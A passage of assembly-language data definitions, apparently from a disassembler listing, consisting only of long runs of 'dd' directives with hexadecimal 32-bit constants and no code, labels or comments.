		dd 0DD0C8FBDh, 7A94Eh, 46B9C286h, 0E1263C0Dh, 4C690A00h
		dd 0E954BFD2h, 0B8E6F5h, 0D62920DDh, 2B1C1D57h,	8BDAEB00h
		dd 98F5924Dh, 0BF6F00DCh, 0D148653h, 2F00193Bh,	8AD7638Ch
		dd 0C41FA8h, 6D25CF9h, 0E8EEDB80h, 7F483900h, 242261BAh
		dd 0FAC50016h, 0FFA78578h, 0C97B7EEEh, 0B1904E00h, 0CAF4E4F5h
		dd 8C5500F2h, 0E3D47B5Ah, 2F091CE8h, 87E9A922h,	0AF103E08h
		dd 620ADDh, 4E34D5D3h, 450B8265h, 0B39DFF00h, 1AAE29A3h
		dd 2F0A008Ah, 0D1D6A4A1h, 560097A8h, 4872857Bh,	0F095051Eh
		dd 820C1FB0h, 0BC87C07Ah, 884D69E0h, 20C62500h,	0F89F6C5Dh
		dd 85B89Eh, 0D3F95363h,	7850F4B2h, 6400ACB8h, 0B42CA079h
		dd 65CDC2h, 0E588837Fh,	14594662h, 8F0C6D00h, 51DD2082h
		dd 0FA853874h, 88A81280h, 420AE657h, 806D4C3Ch,	80FE1ED1h
		dd 178CFDh, 253F5CA8h, 451B3D9Eh, 0DA49BC00h, 6D4CFCDh
		dd 0D937000Fh, 41095AB0h, 27001DA9h, 0CFC72915h, 0E81874h
		dd 388C7B2Ah, 0FA6AB2CDh, 3359D60Fh, 9EEEA0EBh,	3449A03h
		dd 75A743C9h, 0DAA896AFh, 4100CFC1h, 9027788Bh,	70C3A3D0h
		dd 9CFAAEh, 6E93B3E6h, 0B40F1839h, 7B581170h, 0EC280170h
		dd 0D619EFC3h, 5A89D4h,	75B9C0C4h, 7DB7BBD4h, 1BFC9A03h
		dd 0B014B5C3h, 2338651h, 66BD5905h, 7E605293h, 1E3AEB19h
		dd 0DB620FF2h, 237FE082h, 1AB8DF3h, 79D32E8Fh, 0DE659783h
		dd 0E015FDE1h, 120078B1h, 0B6F16D5Bh, 0B825FFA1h, 0F8AB2455h
		dd 0FB043862h, 80D9EFA3h, 0AA1A59A1h, 99420300h, 357F2852h
		dd 929C00ECh, 22A9A70Ch, 23006B68h, 581FD789h, 9A7233h
		dd 0E9ECE89Bh, 10CED13Dh, 0B73EA200h, 157144Dh,	2452F08Ah
		dd 0ECC04Ch, 29A45C67h,	180085CAh, 33E2B7DBh, 0E3B6C6Ah
		dd 9AFD35A3h, 0CD4918F8h, 0B29C4760h, 4EB4B646h, 0B3FCFAh
		dd 68F496BEh, 0A4D9AD7h, 30D52DC6h, 0D4EC00EFh,	22C36650h
		dd 9A2E8E00h, 59CB71D7h, 978600EBh, 7062ED88h, 4D04B4CAh
		dd 6A8F2595h, 4B143580h, 849B007Dh, 1D0421FDh, 72077742h
		dd 79955CE7h, 6EA7B0F7h, 4A8081A4h, 93967Dh, 0A40F7FDAh
		dd 0EC7BC86Bh, 6821E32Ch, 0B2489800h, 0F8352Bh,	53D94D20h
		dd 0C67C250Bh, 2149C00h, 0C42D27AFh, 310600D6h,	6876EE33h
		dd 8E0160C2h, 74162B97h, 2FCC3B0h, 57920053h, 3B48EAB7h
		dd 22005DB8h, 0AA2EBB20h, 54AE49h, 0A8AB1019h, 9FFFE8E9h
		dd 0D1924C03h, 90A004DCh, 75542AEh, 0F977DB97h,	91CDE0BAh
		dd 7D011D10h, 6D319E8Bh, 8EE850AAh, 8C971E5Ah, 0EB964020h
		dd 0FCA70BF8h, 0F9FAD00Fh, 7059E008h, 0F6C798A1h, 5CD8B281h
		dd 0A62684CCh, 0D517002Ah, 0F75C3D1Eh, 0D9699600h, 930F6B79h
		dd 0F56400F0h, 1F40DCD7h, 5003CF14h, 522585DBh,	8FB8D88Ah
		dd 89C10013h, 0C6BBDB7h, 19004106h, 0AE7E179Bh,	0DF886h
		dd 45503D8Fh, 34C2C149h, 0BA4A9E00h, 0AB08E26Ch, 70133B35h
		dd 0B8729380h, 8DFB4CD6h, 0D37FA200h, 0E48C83B6h, 1FCD7DE3h
		dd 52B1F7h, 68236DBFh, 7401AE3Fh, 297E13CEh, 0E8C094F3h
		dd 37DA0035h, 0D6B98B1Bh, 0EC5D63C7h, 780B0094h, 5E5329F9h
		dd 0D73A061Ah, 10AA9C48h, 431C0500h, 0E2C9D217h, 647D18B0h
		dd 15B740B6h, 18EC9200h, 177F33B2h, 0BC370042h,	78793DDEh
		dd 4B13E576h, 461F242Ch, 680FFEE6h, 4A0D00A9h, 3EF051B9h
		dd 698F02CAh, 3B44189Bh, 0A0A0C7ABh, 8BD331A5h,	0D2F62D00h
		dd 0C5BA9680h, 0B670007Ah, 2DBACBFh, 0DA00AE28h, 293B225Fh
		dd 700D3978h, 3FD1F235h, 0D284E9AFh, 808BA9C4h,	5A36FF74h
		dd 16FAE024h, 2DCD003Eh, 8C64A614h, 1E6873FDh, 0C0CE59F9h
		dd 0FE126EA3h, 4003AA8h, 116BE45Dh, 3C5CA7E7h, 680070D8h
		dd 0AD9AB5EEh, 6170AF9Dh, 4EDF2212h, 0E6B61880h, 65212E1Dh
		dd 7DC3005Eh, 2D97125Fh, 48DCDF2Ch, 8F8B3200h, 0E6E45125h
		dd 622C097Fh, 660EF408h, 526BF500h, 2900D8DAh, 4B6F2B36h
		dd 0BC02A7h, 5A627C8Eh,	2F288CAAh, 0A432F601h, 64EEC841h
		dd 19730D4h, 8662D033h,	701CA5C4h, 3800E8E0h, 196EEB51h
		dd 0A16F6Ch, 7E6837A2h,	65B08CCDh, 54356200h, 0C9B98E85h
		dd 0E59775Ch, 4DDBE3E0h, 10F1B367h, 99B871CEh, 8F442F00h
		dd 661FC11Dh, 0CF678h, 2E7FD7CFh, 823FF21h, 0C8CBA300h
		dd 0E5AB4EC6h, 87D300D1h, 3010C4FBh, 0E00ED037h, 609BDFECh
		dd 0EF261A2Ah, 60BC001Bh, 412D4BF5h, 0D5071E4Fh, 3CA551EDh
		dd 339DB40h, 44910021h,	81293A11h, 6503206Eh, 7EF4AB7Ch
		dd 0A9768012h, 0B9DD00B2h, 1AC0BFA7h, 0DB05AA90h, 463F9B8Ah
		dd 5DD43B80h, 0EBA10777h, 0D043783Dh, 3973F598h, 0A34C231Fh
		dd 8D04A01Dh, 18B33567h, 0EA2F05C1h, 30D821BDh,	0B1001C6Eh
		dd 50181B69h, 600B01D9h, 0E1FC4CB2h, 7938D4C5h,	340A0022h
		dd 52867453h, 595472ADh, 7E00489Fh, 5B84F12Dh, 0A700F973h
		dd 86F56ED1h, 39A46CC3h, 79E0DAh, 5956E865h, 29DC8CB0h
		dd 93154300h, 8A8D30Bh,	997146h, 0A12C224Fh, 0BCE92D2Eh
		dd 4DD5441Eh, 53B504C0h, 782E067h, 932B0E6Eh, 1DD3A279h
		dd 9E00D189h, 0D0A44E47h, 4C37C3Bh, 0AC934990h,	1DE46880h
		dd 0BC1158DBh, 0F3F71Dh, 0A5CB910Ah, 0F4077378h, 7BFCB29Eh
		dd 0C375FF10h, 0D9500C0h, 0CD0FE793h, 0BA3C87B8h, 5A438121h
		dd 1A075BEFh, 20DFCCh, 8C3AE27Dh, 6D5FB178h, 232B3701h
		dd 0F78661DCh, 90E876D8h, 7DCA0168h, 1244D1A5h,	0F6E6C4B8h
		dd 0B1FCFCF5h, 745CE3Fh, 0AD02D325h, 8B77A330h,	12C60FE2h
		dd 8CCF1018h, 0D8DB7FA2h, 229C4DE0h, 0EB850C00h, 0F4ACB632h
		dd 49A21CC5h, 4DD4003Bh, 0BC089843h, 309DDA07h,	61A0B08Eh
		dd 3BC3354Ah, 0F0038654h, 62C0BB5Fh, 3D93C7E0h,	0EED70600h
		dd 0E9313C13h, 0DCCA00C5h, 4894141Ah, 300402Ah,	3AA27179h
		dd 12F3470h, 451A2193h,	0F8BC725Dh, 541C5C8Ch, 0E4C0DC3Eh
		dd 0EF5EC1C6h, 38D65898h, 0CDEAE200h, 5B63DD85h, 86A62100h
		dd 11A47B1Bh, 0A00A0338h, 0FAB84243h, 84B440DFh, 9C00412Ch
		dd 77BC8EC7h, 7DC399A9h, 59F80094h, 0E9A45B15h,	800F529h
		dd 4C6E7ECDh, 0BBAF41Eh, 0B568832Ch, 75985002h,	4AE80CC0h
		dd 55AF6E00h, 0A6AA79Dh, 0B85F3E60h, 375B6880h,	36E50EDh
		dd 0C88FE800h, 0BBD1251Dh, 9F200755h, 0D5AC58AAh, 0FB2880B6h
		dd 91001924h, 156F306Eh, 1A3961h, 77785F41h, 1B1CAFD9h
		dd 0FC97C31Ch, 7F95840h, 0BEA839h, 99A7C05Ch, 1EC49AF4h
		dd 10283Eh, 3E4CC36Bh, 0C65A9h,	50D92CEFh, 1E92247Ah, 5A59C203h
		dd 0D027CB33h, 0BFB475h, 0B54E9F44h, 0B8F84A0Eh, 0A9C77100h
		dd 0D5273D61h, 0D6E509C0h, 73802C25h, 662BA478h, 2E59F51Fh
		dd 0FD3A7700h, 0ACABF7h, 0F1C98003h, 0BE5D47BFh, 0BC93CE3Bh
		dd 7A74C08h, 8EA89683h,	5A4D16F0h, 0B7D70BA1h, 4802EACh
		dd 9FF8AABCh, 0CAC41900h, 5E950123h, 0C5FA00B6h, 374B7F7Bh
		dd 525C9E76h, 0E0391D94h, 0F3980A40h, 7DFF7EDh,	162C5A02h
		dd 228BB3B8h, 9CF9A5F8h, 0C799D201h, 65D45484h,	0B6FC9C0h
		dd 4A3BB12h, 80EC3CA8h,	3D8D1146h, 0AB898F2h, 7C78F4Ch
		dd 0FE201716h
		dd 0EA328021h, 97EBD8h,	40FB0668h, 56A23194h, 0FF92B307h
		dd 82807EE2h, 1D627559h, 0C93DD4F2h, 6F800515h,	3630FA3Ah
		dd 0F06FE41Eh, 62C7EE01h, 63EC574Ch, 76CB02A4h,	0CC905DFh
		dd 18019858h, 5FCE07FBh, 0F2C48895h, 0BD5600E9h, 0F5AC550Eh
		dd 4F0EDC51h, 8063B972h, 0D0F86775h, 0DED6A059h, 0DA3C0009h
		dd 0C966DFC7h, 0EB00E73Fh, 605B191Ah, 5C4E0EB0h, 10FA0099h
		dd 67809F19h, 0D9D82083h, 659E3F00h, 8EF1A45Dh,	95183C3Dh
		dd 0D4F86F0Bh, 0CF21860Ch, 0B01746EAh, 1C400AA7h, 0EF556484h
		dd 991700F1h, 23281A68h, 9801D351h, 0AF31DD4Bh,	4C30A29Bh
		dd 62E0C96h, 38EAF192h,	0BB7ABF00h, 0B9294DA9h,	42D9308Ch
		dd 0EEA21A20h, 4A300E00h, 3555DF10h, 0A6180059h, 0A99A4EB8h
		dd 0E10E23E2h, 0E7CF6FC7h, 0BB004187h, 3D2393Dh, 0FAEA5E8Dh
		dd 47904A20h, 3C01DE01h, 0AB920522h, 0C4606E9Ah, 3E049E99h
		dd 181C6A00h, 0DFAF32Ch, 0C535D11Ch, 80F080FDh,	392E9A1h
		dd 0D2780039h, 0B8E31EA9h, 909B8CFFh, 7B418B02h, 75C8209Fh
		dd 200BF74h, 7874635h, 7A5A2DEh, 4167CDACh, 0F7265029h
		dd 7C075C68h, 0B6936C58h, 0C920008Bh, 3F65E2F5h, 0D19C4BAEh
		dd 0B9038319h, 87F81549h, 4077944h, 6A9A53CEh, 74DE4730h
		dd 0C297011Ch, 0E0CF3912h, 0CDD8E030h, 0B08BAA00h, 79DECA43h
		dd 0C57B1D99h, 589C01A8h, 8073BEB6h, 0F20FFC38h, 0DC700Ch
		dd 0ECC04324h, 9521AE49h, 9B607770h, 0B5617B61h, 78FE00D2h
		dd 47D8DFF1h, 0E600C3BEh, 0D0EF1B92h, 1F1EE1h, 18CB26Ah
		dd 17568515h, 0CB7A3A1Eh, 7BF074C0h, 7C5E1Eh, 77CE18F3h
		dd 7EFB2214h, 68304D00h, 0CF5BF91h, 0DB8B00CDh,	781DAB87h
		dd 7F0009EAh, 9FF12671h, 0F7F822h, 557D0FB8h, 0C7986360h
		dd 7318F613h, 47009Ch, 0D73B83AFh, 1D81D387h, 9969C900h
		dd 0B4890441h, 48E30016h, 83DF9E3Eh, 0BA008D71h, 0DD9B7B7Dh
		dd 1038C58h, 8F086BB3h,	85E3E7C7h, 778AB048h, 1F59F8B0h
		dd 40A96268h, 0FB15C737h, 5209324Fh, 3DA1BD0h, 0B8AC4898h
		dd 0E869261h, 0DF63AB6Fh, 2B16B1C0h, 43045DAAh,	26475CF9h
		dd 2252DC80h, 413A26F4h, 0F0400018h, 0BF17EB2h,	0B0E78200h
		dd 9E98F357h, 26F0E3A0h, 8B0E0028h, 7D3DDC07h, 3C07BEC3h
		dd 2FABF1D4h, 0F4896Bh,	0EB1A9711h, 455C0046h, 2E91A388h
		dd 6900BFB9h, 0FEB24F48h, 38A0B3Ah, 1314C68Eh, 64B05989h
		dd 97000EFFh, 0BCDF4821h, 97EC1B1Ah, 0EE0098F0h, 4FC59076h
		dd 0B4474Bh, 103D2E17h,	19BFFB79h, 0AF1CF501h, 0D63F4A33h
		dd 16F030h, 0E0B81B11h,	66451951h, 0E84DAE00h, 3881317h
		dd 0B04449F8h, 0A60ADE3Fh, 4EC8FBFh, 0C0A01928h, 0FF4C93AFh
		dd 0BB88700h, 0BF160E48h, 1A4EE09h, 27725C60h, 309D49F3h
		dd 0D200C4F3h, 2ECD7557h, 1344B85h, 0B99B81A2h,	0F8AFA889h
		dd 3200C8ECh, 0BD077EC4h, 0C5CF5Bh, 892935EDh, 0ECE5864Ch
		dd 1F6A9D00h, 73CB7B7Fh, 0F57000DDh, 0B9B6219Ch, 0A503C977h
		dd 0A2BC48DAh, 0E80DDB5Dh, 0C5BDF4h, 6E8207D2h,	0CEE8B954h
		dd 6A053D00h, 9CDC8BCh,	22733896h, 5EB14400h, 0A2F30EBh
		dd 97C19B3Ch, 0BF03F9F2h, 0EFD8A4C7h, 35AE3Ch, 72F58784h
		dd 4C9FBAE0h, 7A7D6900h, 0BDFE237Fh, 0E1FCE2h, 0B11B78D5h
		dd 0ECA88E11h, 0BF0076FCh, 0CB1A1FFEh, 26CA90h,	0D99F02AAh
		dd 0A2871092h, 47F4500h, 176795C5h, 9AF1606Dh, 8993193Bh
		dd 0E1A5DE0Eh, 9D8BC048h, 7DFA257h, 912AF274h, 751400E7h
		dd 0FD02C0E1h, 2B720405h, 0B8D4E067h, 0BA4100BBh, 0B98FED9Dh
		dd 37016632h, 7E8B3585h, 5430FC93h, 0E6840AD0h,	0DCB32Ah
		dd 0CC38F272h, 0C400C8ABh, 759D164h, 0FB3EA5h, 1171031h
		dd 2D22EF1Ah, 2000FE76h, 0E0AB7CC3h, 98F3A23Ch,	0E2978E8h
		dd 0FAF8056Ch, 723F09F2h, 67D8466h, 0EBE2F400h,	9D03D8E6h
		dd 3CC800EAh, 6E957F11h, 39008E37h, 26B99877h, 1640B56h
		dd 0E878BFFDh, 60AB0FDCh, 0E05B816h, 9E6A79B4h,	0CE9CF500h
		dd 1D46CF40h, 0C1DAEB28h, 0E3BB8673h, 8713C46Dh, 79FDF00h
		dd 0FC89C467h, 3AEA0542h, 40EEA790h, 0B6BB1084h, 0B20041C8h
		dd 60E25D0Fh, 38D8A977h, 0C200F5C3h, 0FD8928E1h, 0CF00BB25h
		dd 0BA3FC404h, 1D5CA28Fh, 1F5BAAF1h, 315D40DDh,	67CA402Dh
		dd 1913A600h, 84A0BDD3h, 0C0FD00E9h, 0B15FE78h,	0F900598Ch
		dd 821C4204h, 0F92F563h, 1358959Eh, 23720260h, 30008420h
		dd 7D746CC0h, 3787C1Bh,	9FA825AEh, 20C956C2h, 0C0343995h
		dd 0FC9B1C38h, 70BBEE25h, 57720007h, 4BD1AF5Bh,	79004642h
		dd 0FFE166E6h, 0D5785Fh, 0F692FCAEh, 0FBDA40A0h, 0CA39F500h
		dd 0D46F5816h, 42400D2h, 0FDE38AFEh, 4D001219h,	0BC7F173Fh
		dd 71E8BD23h, 0F3CC3AB2h, 0C38C0076h, 0AFE794EFh, 0DA0FA21Eh
		dd 0E3B0D81Fh, 22B3A5h,	944B8010h, 96A62909h, 0EAD5B107h
		dd 6C8118CDh, 0FFF0CF34h, 0B1E0BF1h, 0F7159Dh, 13D9D7FAh
		dd 1757B0Fh, 86EC921Fh,	30812E42h, 39011AC7h, 7A18CAD1h
		dd 56E07487h, 28C407C3h, 62DD820Ch, 3E0CE27h, 9207BB6Ch
		dd 8D6E50B2h, 0D38561C0h, 16E87793h, 5FE6A815h,	0E51A8B2Ch
		dd 0A87BB03h, 0BC1475F0h, 0EA09A38h, 7888B8D8h,	5AA0228h
		dd 134A5C6Ah, 4F418066h, 62003251h, 0F8CFA68Eh,	7031CCECh
		dd 47860C2Ch, 0A2A08540h, 93A16A02h, 691D1F05h,	0CE0F6F8h
		dd 0F4BA2E91h, 24A704C5h, 6180BAECh, 0E7227B8h,	0D63CAAA3h
		dd 0AB9550C0h, 6C005B6Eh, 0E6B8BA75h, 0A57B40h,	3E599F0Dh
		dd 10279BC3h, 14110F00h, 5F7C8808h, 84C507BEh, 0D0633C98h
		dd 6595CF76h, 2221F800h, 0E980C84Fh, 11F694h, 3E58D4DEh
		dd 9A5D7976h, 39CB2F01h, 67702A9h, 0E1006032h, 72A5E2B2h
		dd 180064A6h, 0CD328107h, 11D6DBh, 6AF7E24h, 0DCC5089h
		dd 0D7FD580Ch, 0C1408Fh, 0E53594F5h, 2FC861BAh,	0B6BB63Dh
		dd 85E9F654h, 30806AFCh, 3A03CAB1h, 0D10055E3h,	1C4B5928h
		dd 8D000186h, 7BFFEA84h, 16DB3DD3h, 4E5ACBh, 0DC4CFAA9h
		dd 550009E4h, 3959EF12h, 75B917E2h, 1E847C16h, 0C0D37074h
		dd 9C25AD93h, 44008D29h, 320649AFh, 97AAAE8h, 615514A5h
		dd 34051A00h, 0C73B9A83h, 0B91EBF35h, 0B83200D7h, 6C41C328h
		dd 0D4EE85h, 4D87EF6h, 46D94E2Eh, 0EFE50E00h, 0F5392703h
		dd 401200F9h, 0EC71C45Ch, 0A5016511h, 4AC8697Dh, 0ADFC9382h
		dd 0B0380786h, 0B0E88C3Eh, 0D1A7A045h, 0E6AB5701h, 7BCBD991h
		dd 0ECDB9870h, 1D050041h, 66FD5DB6h, 9800500Ch,	22939460h
		dd 132BAA30h, 0F8F1E490h, 0D5C71402h, 6D1500E4h, 58D2075Fh
		dd 0E9300039h, 388FDAE2h, 7D1DF4DFh, 0B7027B4Fh, 5C22E683h
		dd 1C2800Ch, 9F2E0372h,	43F6A400h, 916BC647h, 368F3AE4h
		dd 487B5880h, 2BAF6EA1h, 93232505h, 8C83E670h, 7A4A84Ah
		dd 0D01E075Ch, 0FF21AAC1h, 0D0FB620h, 89000A4Ch, 8C4BF9BCh
		dd 6178E1h, 0D05B6BA6h,	0DBEC774Fh, 4C0058F8h, 0EABE2DBBh
		dd 27F8E56h, 8590DE66h,	80D59A07h, 896F57CFh, 527A3D21h
		dd 13E95909h, 0EF39D400h, 5D2E88BCh, 300036C7h,	0F3E2900Dh
		dd 4CE300C0h, 104004E9h, 0E0073F8h, 7A2C82D3h, 1BF5C7Ch
		dd 0FA9ED99Bh, 0CC3B4909h, 710004AAh, 4ECAB279h, 0EC7251Ah
		dd 0F56736Bh, 22C6AF60h, 7E002089h, 0C4DB7C4Ch,	7353008h
		dd 0E2F5F2DAh, 79EE4025h
		dd 0CA00592Bh, 0C55680BCh, 1FC9BFD3h, 0C1B2A2F6h, 0E6096365h
		dd 0CA493073h, 90FFBD1Ch, 2336D4C0h, 614277h, 40389B12h
		dd 40699A8h, 5A971803h,	0A1F4C3A1h, 69ECA62Ch, 0B87E0E41h
		dd 4860F621h, 0CA702B0Ch, 852FF0A0h, 0D10D7705h, 0E0806CAAh
		dd 4F7EE74h, 75547FBFh,	74CE672h, 0B056B8CFh, 480B7830h
		dd 33CB2A5h, 953ABDE2h,	0DCF3DA6Bh, 0A1D47C80h,	3C00DF4Eh
		dd 0AC27B92Eh, 0A7500098h, 0D2855F3Eh, 0F5001974h, 2D99A34h
		dd 0CC7E12h, 0CB87E776h, 24515A59h, 0B6578F00h,	507CABC1h
		dd 0C94300DCh, 5AB08B2Ch, 257A9737h, 727E8600h,	27BE09D7h
		dd 963B0FF3h, 0DD273DB9h, 5B3EC06Dh, 0EAEE0420h, 2328411Ch
		dd 0B59ABEC0h, 4BB64953h, 54740071h, 29C9F618h,	99526300h
		dd 0D996971Fh, 5ACF0079h, 26676F21h, 0C9008B0Fh, 18669E12h
		dd 96E51Ch, 86605DFDh, 6A97D952h, 6F47B800h, 0E2EC8045h
		dd 18F7B70h, 6686F31Ah,	0D856B1FAh, 0CA014AFDh,	96311FCFh
		dd 3C704C44h, 1B0EE39h,	0CDC221E4h, 4359F88Eh, 86F8C8CCh
		dd 0B4008B63h, 2460C68Ah, 0B64483h, 0C52FA890h,	9B4EFA69h
		dd 8AF9E80Fh, 6B9A209Ch, 2C21E0h, 227949E2h, 0B18B6DF5h
		dd 2ED03Ch, 0C54CA177h,	4E3404Eh, 19AD7432h, 1564A066h
		dd 0DF4FE600h, 98D8AC6h, 2EBA0141h, 3101C14Ah, 1B26CC5Fh
		dd 0CBE160Fh, 281D4036h, 20C240h, 91FDAA6Dh, 0F9F03E9Fh
		dd 21187A00h, 23068E54h, 14C13BA1h, 695FE30Eh, 63EDDC62h
		dd 2282FEC0h, 56CA1900h, 8915EFA8h, 83060030h, 3C67AD2Ah
		dd 54FCC4A6h, 44B4BF24h, 8B296D80h, 726A170h, 0C40F2E31h
		dd 0BA257005h, 0F93A32BDh, 57770075h, 938C1F7Bh, 0C449319Bh
		dd 0F80502F6h, 87026642h, 0BE180782h, 0B5EC60C1h, 0C590008Eh
		dd 0FA5A56FDh, 0B7751262h, 0E952C700h, 404CBD2Ch, 8E7EABh
		dd 1C4318CFh, 4E6E225Ch, 162C300h, 0B673F74Ch, 5FF661h
		dd 7D242A8Fh, 8EF27BECh, 841D5800h, 0D89E68FDh,	0C31B0020h
		dd 5C66BBD9h, 0C72761A2h, 87104090h, 0D6B200A9h, 7DBBC2A5h
		dd 6502560Ah, 0B15206CCh, 4F8C09Bh, 1B7C05BDh, 0C09150h
		dd 0D11689C3h, 0C7FEB810h, 5072EF2h, 30FA4B5Dh,	1B03AF7h
		dd 0BAF276h, 0C2509B5Eh, 0ACA368D8h, 0FACFD600h, 815B672Fh
		dd 0F3FF001Fh, 0A64D3106h, 0AB489488h, 8B700360h, 90D2CA40h
		dd 158E6Ah, 5953B808h, 0D0619CECh, 7C762700h, 0ADE18DE0h
		dd 7DEB0F16h, 0CD6068D6h, 0A234C682h, 0F05F6301h, 0DC7853Fh
		dd 86E2C4h, 2B777471h, 9DC8B334h, 0B7002973h, 0F5FB05B9h
		dd 0B0551ECEh, 8C580731h, 0F010FE23h, 5C888978h, 6300EEB0h
		dd 6A7F84B3h, 90E918h, 37F50A1Bh, 5CF2B50Ch, 4F91C900h
		dd 4421565Ah, 0E9860EB9h, 401D83EFh, 0AD3050B5h, 28009B69h
		dd 0F182C23Fh, 3E0596h,	0B7FAAE80h, 956B7086h, 1651C801h
		dd 0E72A5A9Ah, 754F0F8h, 28731537h, 61B0C03Dh, 0AD00FDFFh
		dd 928E6B88h, 0EDCAD0h,	0EA33E9AEh, 7AC8F5E3h, 35DF0500h
		dd 59C749A5h, 2F160022h, 10791A6Eh, 0C20028B6h,	95760343h
		dd 35EE8Bh, 426BC574h, 26A725C6h, 0E11D87E4h, 22806E82h
		dd 1504F594h, 0BCBC50h,	0F488A9E6h, 0E5011EB0h,	98CC43AAh
		dd 8CE41B37h, 0F2AB80Bh, 0BAF1E07Bh, 0A1E3BE0h,	90328D6h
		dd 45ED8B94h, 21338890h, 3C5738BEh, 4D29883h, 0EAF80ECEh
		dd 0AEAB2A3h, 84C1BC00h, 980C8FD5h, 20410018h, 322C25B9h
		dd 0BF399379h, 0CE3A004Ch, 0E1633638h, 9D5005Eh, 4E530A5Bh
		dd 3E001A02h, 0CD376573h, 1F31EC75h, 83D6637Bh,	6E21B336h
		dd 553DEC0h, 839C1239h,	0BA0840C9h, 62049872h, 6CC75CEBh
		dd 0B320FB01h, 0F4FD9414h, 2901D27Ah, 48E97752h, 347D4C1Fh
		dd 3632F16h, 0B278DF55h, 83F8369Bh, 1300A6E2h, 8C4985D3h
		dd 343174Bh, 0FCCB72B8h, 62E03AE5h, 0E70F9DCFh,	601A5BC9h
		dd 139A6670h, 44BC0550h, 0EECFF576h, 77109001h,	0A770E385h
		dd 432A0125h, 2D5D7662h, 0C956D093h, 3A3BB400h,	5CAED931h
		dd 0C0CD0188h, 86EE246Bh, 3CB4D959h, 36600070h,	15B77A9Ah
		dd 245878F5h, 0F2BC5Ah,	102FC9A1h, 28005D0Ah, 0AB75D388h
		dd 1CD05C8Dh, 805742B7h, 3F2B9B4Ch, 0D2014EEFh,	0C5485BA5h
		dd 4BF496E8h, 364D160Eh, 0B4E0138Ch, 0FE00CBFCh, 9F757CAEh
		dd 98D48552h, 7EE31EFCh, 40C09F0Dh, 93318262h, 4E00B65Ch
		dd 2F912D9Dh, 7116BD29h, 8AEE89h, 19B0DD66h, 7BFE006h
		dd 822EDCF8h, 0AC00EC73h, 53E1D340h, 6A7938h, 574B044Eh
		dd 44FA276Ch, 0C0D2481Fh, 7FC0D09Ch, 68932EC8h,	0BC3D00FEh
		dd 0E140F373h, 9A000E71h, 9ED27E67h, 0E1365AFh,	570D0A96h
		dd 41C44E20h, 100AA5Bh,	0BE58741Fh, 8E45B1h, 0E4121013h
		dd 0A0CF339Eh, 0DE3F8207h, 8F009B4Fh, 2E3B2BAAh, 1F7D56h
		dd 0EE4B2F87h, 0C5007ED0h, 163545BEh, 787F10DEh, 0E88E002Bh
		dd 5FD9A99Eh, 6D000904h, 0C74B8AD8h, 979FFBE5h,	73A59400h
		dd 6200AE58h, 0EBE21396h, 742C45Ch, 4AB8FB64h, 0B941050h
		dd 4301B69Ah, 1F3B6152h, 1AE8D29Bh, 3006001Eh, 0CFAC71D7h
		dd 2E4C8C6h, 4F3DE658h,	6392821h, 3E40E609h, 401D7A21h
		dd 3703AC98h, 0D8D21185h, 17A2B0B4h, 9501EBh, 2E5AFFC0h
		dd 99003DADh, 0B80BF49h, 210516h, 0A976EBF1h, 0C2EDF979h
		dd 9E05C7EAh, 0BF7A4011h, 0B9A11483h, 74D01ACBh, 803C5C2Ah
		dd 5565E00h, 0B9473A89h, 0D0AFE907h, 3F356DEBh,	9B65EC80h
		dd 45F53D9Dh, 251FD780h, 5D012B02h, 2FF44D01h, 33DBD88h
		dd 37937D8h, 0A09CB85h,	0CAFA3282h, 0D63500D8h,	900758EAh
		dd 8E29240Eh, 0E657EF80h, 0E884575h, 807DC217h,	27C80156h
		dd 0F0D2C429h, 7C582A7Eh, 8A020020h, 9232E543h,	0E2FE53h
		dd 0E35D55B9h, 6B33BE7Dh, 5024CE0h, 618D56A2h, 4B4F8C3h
		dd 3E2C9E81h, 0D9C080A5h, 0AA00FA9Ah, 0B34D7FCBh, 76E65828h
		dd 980413C9h, 84790002h, 95173DF6h, 0A2F53900h,	1FAFD6DBh
		dd 0C84C01A4h, 91328F0Ah, 0BF536004h, 20028B33h, 0CC99B0D8h
		dd 90D5005Fh, 1A93B208h, 3E005647h, 27C5FF92h, 0FC4BF4h
		dd 3DDC23F7h, 54F911D9h, 486D10C0h, 21663Fh, 1CE752CAh
		dd 0DC695C05h, 0AA93D300h, 0DE9CEBC3h, 984B074Dh, 0B083C79Dh
		dd 447FCFEAh, 3CB3413Ah, 0AF03809Eh, 6D337724h,	0E29103E1h
		dd 4BFFDCE8h, 0F06C90F8h, 27708C24h, 52EBE000h,	1E98E4h
		dd 80025A27h, 9E8CCE75h, 83882B00h, 0F95D35AFh,	0F7C5009Dh
		dd 368AA44Dh, 0A700F353h, 8F1275A5h, 0EA6109BCh, 5BF248EFh
		dd 0ACE59A00h, 0D22CC799h, 22E0F500h, 25B1314Ah, 0F6E813h
		dd 0BE867CF3h, 88B737AFh, 6A573D00h, 0E159E4B0h, 383C00CDh
		dd 0AFECF956h, 762C6BBDh, 0A100DBA3h, 0D2D0E528h, 933F00A7h
		dd 545C10D7h, 673A4225h, 0DCF00177h, 0F6FD4E35h, 3D1E66F4h
		dd 0FA003959h, 0E7001FFh, 273A3EA7h, 7B1000DDh,	5D911A97h
		dd 0C97F0103h, 8365CBA3h, 57422045h, 1B4C2C00h,	0FD193E9Dh
		dd 66BD0375h, 0EED20F40h, 524428C8h, 90D0791Fh,	2D8CF5C0h
		dd 7F62A2h, 0F4DF87Ah, 0E313246Eh, 0FC47EF00h, 46759115h
		dd 0BF700B4h, 0A8A0583Ah, 0BE00BA96h, 0B2905CB5h, 0C17DD8h
		dd 0C81E4741h, 0A7AA6A3h, 0C08291Dh, 8AAE2300h,	88E42Ah
		dd 0E6D854DEh, 0CEDBC9FCh, 70394FAh, 0E835A571h, 0BCA9D81Fh
		dd 2A6802CDh, 15FB667Bh
		dd 69F101C0h, 0C1B1B60Eh, 5EC9604Eh, 0B8E556EAh, 7CF83Fh
		dd 0A033F737h, 7966FDB9h, 0D2164370h, 0E5012458h, 0F8629E3Ch
		dd 0F6A211F0h, 368B0766h, 81E52AD8h, 0E0DDFCACh, 9800E875h
		dd 0A1261AF6h, 0D71432h, 8E106768h, 4249C255h, 8700697Fh
		dd 599CD4DDh, 0E2FDBDh,	17512568h, 968C0640h, 525BAC00h
		dd 0BCDF6B64h, 23FA3F12h, 0C0744C01h, 6024EA45h, 9E00A664h
		dd 65076B9Fh, 0BAF1206h, 0B484CD91h, 52A2E100h,	0A7004411h
		dd 9ECF2881h, 905A94h, 0E5ECA5F3h, 0E1EEE945h, 616C6F00h
		dd 41CC6095h, 7E1000DFh, 0FB3C48F1h, 777BD42h, 0A84A5600h
